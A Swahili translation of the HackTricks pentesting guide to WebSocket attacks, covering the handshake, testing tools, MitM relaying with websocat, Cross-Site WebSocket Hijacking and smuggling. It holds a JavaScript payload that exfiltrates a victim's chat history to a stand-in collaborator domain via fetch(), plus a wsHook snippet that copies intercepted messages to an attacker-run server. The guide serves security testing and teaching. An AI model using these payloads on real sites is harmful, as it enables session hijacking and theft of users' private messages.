hacktricks/pentesting-web/websocket-attacks.md
2024-02-11 02:13:58 +00:00

182 lines
12 KiB
Markdown

# Mashambulizi ya WebSocket
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Ni nini WebSockets
Uhusiano wa WebSocket unawekwa kupitia salamu ya awali ya **HTTP** na umebuniwa kuwa **wenye muda mrefu**, kuruhusu mawasiliano ya pande zote wakati wowote bila hitaji la mfumo wa shughuli. Hii inafanya WebSockets kuwa muhimu sana kwa maombi yanayohitaji **latensi ndogo au mawasiliano yaliyoanzishwa na seva**, kama vile mito ya data ya kifedha ya moja kwa moja.
### Kuweka Uhusiano wa WebSocket
Maelezo mazuri juu ya kuweka uhusiano wa WebSocket yanaweza kupatikana [**hapa**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Kwa muhtasari, uhusiano wa WebSocket kawaida huanzishwa kupitia JavaScript ya upande wa mteja kama inavyoonyeshwa hapa chini:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
Itifaki ya `wss` inaashiria uhusiano wa WebSocket uliolindwa na **TLS**, wakati `ws` inaonyesha uhusiano **usiolindwa**.
Wakati wa kuanzisha uhusiano, mchakato wa handshake unafanywa kati ya kivinjari na seva kupitia HTTP. Mchakato wa handshake unahusisha kivinjari kutuma ombi na seva kujibu, kama inavyoonyeshwa katika mifano ifuatayo:
Kivinjari kinatuma ombi la handshake:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Majibu ya handshake ya seva:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
Unganishaji unaendelea kwa kubadilishana ujumbe kwa pande zote mbili mara baada ya kuanzishwa.
**Muhimu wa Msingi wa Handshake ya WebSocket:**
- Vichwa vya `Connection` na `Upgrade` vinatuma ishara ya kuanzisha handshake ya WebSocket.
- Kichwa cha `Sec-WebSocket-Version` kinabainisha toleo la itifaki ya WebSocket inayotaka, kawaida ni `13`.
- Thamani ya kipekee iliyosimbwa kwa Base64 hutumwa katika kichwa cha `Sec-WebSocket-Key`, ikidhibitisha kuwa kila handshake ni ya kipekee, ambayo husaidia kuzuia matatizo na wakala wa kuhifadhi. Thamani hii sio kwa ajili ya uwakilishi bali kuthibitisha kuwa jibu halijazalishwa na seva au hifadhi iliyopangwa vibaya.
- Kichwa cha `Sec-WebSocket-Accept` katika jibu la seva ni hash ya `Sec-WebSocket-Key`, ikithibitisha nia ya seva ya kufungua uhusiano wa WebSocket.
Vipengele hivi vinahakikisha kuwa mchakato wa handshake ni salama na wa kuaminika, ukifungua njia ya mawasiliano ya wakati halisi yenye ufanisi.
### Konsoli ya Linux
Unaweza kutumia `websocat` kuweka uhusiano wa moja kwa moja na websocket.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
Au kuunda seva ya websocat:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### Kudukua Mawasiliano ya Websocket kwa Kati (MitM)
Ikiwa utagundua kuwa wateja wameunganishwa kwenye **websocket ya HTTP** kutoka kwenye mtandao wako wa ndani wa sasa, unaweza kujaribu [Shambulio la ARP Spoofing](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) ili kutekeleza shambulio la MitM kati ya mteja na seva.\
Marafiki mteja anapojaribu kuunganisha, unaweza kutumia:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Uchambuzi wa Websockets
Unaweza kutumia **zana** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **kugundua, kufuatilia na kutafuta** **makosa yanayojulikana** katika websockets kiotomatiki.
### Zana za Uchunguzi wa Websocket
* **Burp Suite** inasaidia mawasiliano ya MitM ya websockets kwa njia sawa na vile inavyofanya kwa mawasiliano ya kawaida ya HTTP.
* Kifaa cha [**socketsleuth**](https://github.com/snyk/socketsleuth) cha Burp Suite kitakuruhusu kusimamia mawasiliano ya Websocket vizuri katika Burp kwa kupata **historia**, kuweka **kanuni za kuingilia**, kutumia kanuni za **kufanana na kubadilisha**, kutumia **Intruder** na **AutoRepeater**.
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Kifupi cha "**WebSocket/Socket.io Proxy**", zana hii, iliyoandikwa kwa Node.js, inatoa kiolesura cha mtumiaji kwa **kukamata, kuingilia, kutuma ujumbe wa kawaida** na kuona mawasiliano yote ya WebSocket na Socket.IO kati ya mteja na seva.
* [**wsrepl**](https://github.com/doyensec/wsrepl) ni **REPL ya websocket ya kuingiliana** iliyoundwa mahsusi kwa ajili ya upenyezaji wa mtihani. Inatoa kiolesura cha kuangalia **ujumbe wa websocket unaoingia na kutuma ujumbe mpya**, na mfumo rahisi wa kutumia kwa **kuautomatisha** mawasiliano haya.&#x20;
* [**https://websocketking.com/**](https://websocketking.com/) ni **wavuti ya kuwasiliana** na wavuti nyingine kwa kutumia **websockets**.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) pamoja na aina nyingine za mawasiliano/itifaki, inatoa **wavuti ya kuwasiliana** na wavuti nyingine kwa kutumia **websockets**.
## Maabara ya Websocket
Katika [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) una nambari ya kuzindua wavuti kwa kutumia websockets na katika [**chapisho hili**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) unaweza kupata maelezo.
## Udukuzi wa Websocket wa Msalaba (CSWSH)
**Udukuzi wa Websocket wa Msalaba**, pia inajulikana kama **udukuzi wa Websocket wa asili ya msalaba**, unatambuliwa kama kesi maalum ya **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** inayoathiri mikono ya Websocket. Makosa haya yanatokea wakati mikono ya Websocket inathibitisha tu kupitia **vidakuzi vya HTTP** bila **vitambulisho vya CSRF** au hatua za usalama kama hizo.
Wahalifu wanaweza kutumia hii kwa kuandaa **ukurasa mbaya** ambao unazindua uhusiano wa Websocket wa asili ya msalaba kwa maombi yaliyo hatarini. Kwa hiyo, uhusiano huu unachukuliwa kama sehemu ya kikao cha mwathirika na maombi, ukidukua ukosefu wa ulinzi wa CSRF katika mfumo wa kushughulikia kikao.
### Shambulio Rahisi
Tambua kwamba wakati wa **kuweka** uhusiano wa **websocket**, **kidakuzi** hutumwa kwa seva. **Seva** inaweza kutumia kidakuzi hicho kwa **kuhusisha** kila **mtumiaji maalum** na **kikao chake cha websocket kulingana na kidakuzi kilichotumwa**.
Kwa hiyo, ikiwa kwa **mfano** **seva ya websocket inarudisha historia ya mazungumzo** ya mtumiaji ikiwa ujumbe wenye "**READY"** unatumwa, basi **XSS rahisi** inayoweka uhusiano (kidakuzi kitatumwa **kiotomatiki** kuidhinisha mtumiaji mwathirika) **kutuma** "**READY**" itaweza **kupata** historia ya **mazungumzo**:
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Msalaba wa Asili + Kidakuzi na kikoa tofauti
Katika chapisho hili la blogu [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), mshambuliaji alifanikiwa **kutekeleza Javascript ya kiholela katika kikoa kidogo** cha kikoa ambapo mawasiliano ya soketi ya wavuti yalikuwa yanatokea. Kwa kuwa ilikuwa ni **kikoa kidogo**, **kidakuzi** kilikuwa kinatumiwa na kwa sababu **Websocket haikuchunguza Asili kwa usahihi**, ilikuwa inawezekana kuwasiliana nayo na **kuiba alama kutoka kwake**.
### Kuiba data kutoka kwa mtumiaji
Nakili programu-jalizi ya wavuti unayotaka kuiga (faili za .html kwa mfano) na ndani ya skripti ambapo mawasiliano ya soketi ya wavuti yanatokea, ongeza msimbo huu:
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
```
Sasa pakua faili ya `wsHook.js` kutoka [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) na **ihifadhi ndani ya folda na faili za wavuti**.\
Kwa kufichua programu ya wavuti na kumfanya mtumiaji kuunganisha nayo, utaweza kuiba ujumbe uliotumwa na kupokelewa kupitia websocket:
```javascript
sudo python3 -m http.server 80
```
## Mashindano ya Hali
Mashindano ya Hali katika WebSockets ni jambo lingine, [angalia habari hii ili kujifunza zaidi](race-condition.md#rc-in-websockets).
## Udhaifu Mwingine
Kwa kuwa Web Sockets ni mfumo wa **kupeleka data kwa upande wa seva na upande wa mteja**, kulingana na jinsi seva na mteja wanavyoshughulikia habari, **Web Sockets inaweza kutumika kudhoofisha udhaifu mwingine kama XSS, SQLi au udhaifu mwingine wa kawaida wa wavuti kwa kutumia kuingiza kwa mtumiaji kutoka kwenye websocket.**
## **Udhaifu wa WebSocket Smuggling**
Udhaifu huu unaweza kukuruhusu **kukiuka vizuizi vya wakala wa kurudisha** kwa kuwafanya waamini kwamba **mawasiliano ya websocket yameanzishwa** (hata kama sio kweli). Hii inaweza kuruhusu mshambuliaji kupata **vituo vilivyofichwa**. Kwa habari zaidi angalia ukurasa ufuatao:
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}
## Marejeo
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>